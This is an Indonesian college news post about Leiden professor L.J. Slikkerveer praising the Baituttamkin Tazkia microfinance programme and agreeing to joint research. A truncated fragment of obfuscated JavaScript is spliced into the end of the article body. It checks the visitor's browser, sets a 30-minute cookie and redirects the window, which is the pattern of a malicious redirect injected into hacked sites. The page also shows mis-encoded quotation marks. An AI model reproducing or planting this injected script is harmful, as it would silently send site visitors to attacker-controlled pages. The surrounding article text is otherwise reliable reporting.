Berita Terbaru

Prof. Dr. L.J. Slikkerveer kagumi Baituttamkin Tazkia Bogor

No comments

a�?Setelah mendengarkan penjelasan anda, saya menyimpulkan bahwa Baituttamkin Tazkia, sejalan dengan prinsip prinsip keuangan mikro yang dikembangkan oleh Leiden Etnosystem and Development (LEAD)a�? : Prof. Dr. L.J. Slikkerveer, Direktur

Hal ini disampaikan kepada Afif Zaerofi, MM, dosen STEI Tazkia Bogor yang sedang mengikuti Short Course metodologi penelitian kerjasama kementerian agama RI dan Universitas Leiden, saat berkunjung ke kantor pusat LEAD, Van Steenis Building, Einsteinweg 2 Leiden Belanda, 16 Desember 2017 yang lalu. LEAD adalah salah satu pusat studi dibawah fakultas science, Universitas Leiden.
Menurut Prof. Slikkerveer, saat ini terjadi pergeseran orientasi lembaga keuangan mikro, dari semula lembaga sosial menjadi lembaga komersial. Sehingga, lembaga yang awalnya bertujuan menguatkan keuangan masyarakat, jurtru melemahkan dan bahkan secara perlahan mematikan. Lembaga keuangan mikro menjadi lembaga a�?lintah darata�?, yang menetapkan suku bunga sangat tinggi. Afif setuju dengan pendapat Prof Slikkerveer sambil menjelaskan bahwa di Baituttamkin, anggota tidak hanya diberikan pinjaman, namun juga dibina bagaimana mengelola keuangan. Pada saat anggota mengajukan pinjaman, Baituttamkin tidak serta merta memberikan pinjaman, namun juga memastikan bahwa dana yang dipinjam sesuai dengan yang dibutuhkan dan jika pinjaman digunakan untuk membuka usaha, baituttamkin juga memberikan pembinaan, agar usaha yang dirintis berjalan baik. Untuk peminjaman, baituttamkin menggunakan system bagi hasil, yang prosentasenya sesuai dengan kesepakatan.


Lebih lanjut, prof. Slikkerver menekankan bahwa masalah ekonomi seperti kemiskinan, tidak dapat diselesaikan hanya dengan pendekatan ekonomi. Masalah ekonomi harus diselesaikan secara komprehensif, menggunakan pendekatan multi-dimensional. Dan prof. Slikkerveer meyakini bahwa setiap masyarakat memiliki budaya lokal yang mampu menyelesaikan masalahnya sendiri. Sehingga system dari luar (barat) tidak bisa serta merta di adopsi, karena kondisi social dan kultural yang berbeda. Prof. Slikkerver juga menekankan pentingnya konsep sustainability dalam pengentasan kemiskinan. Apapun model pengentasan kemiskinan, model tersebut harus menjadikan masyarakat mandiri dan mampu mengembangkan potensi pribadi dan budaya lokal.
Di akhir pertemuan, kedua lembaga, baituTamkin dan LEAD sepakat akan melakukan kerjasama, pada bidang penelitian dan pengembangan masyarakat berbasis etnografis (AZ) x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaProf. Dr. L.J. Slikkerveer kagumi Baituttamkin Tazkia Bogor

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *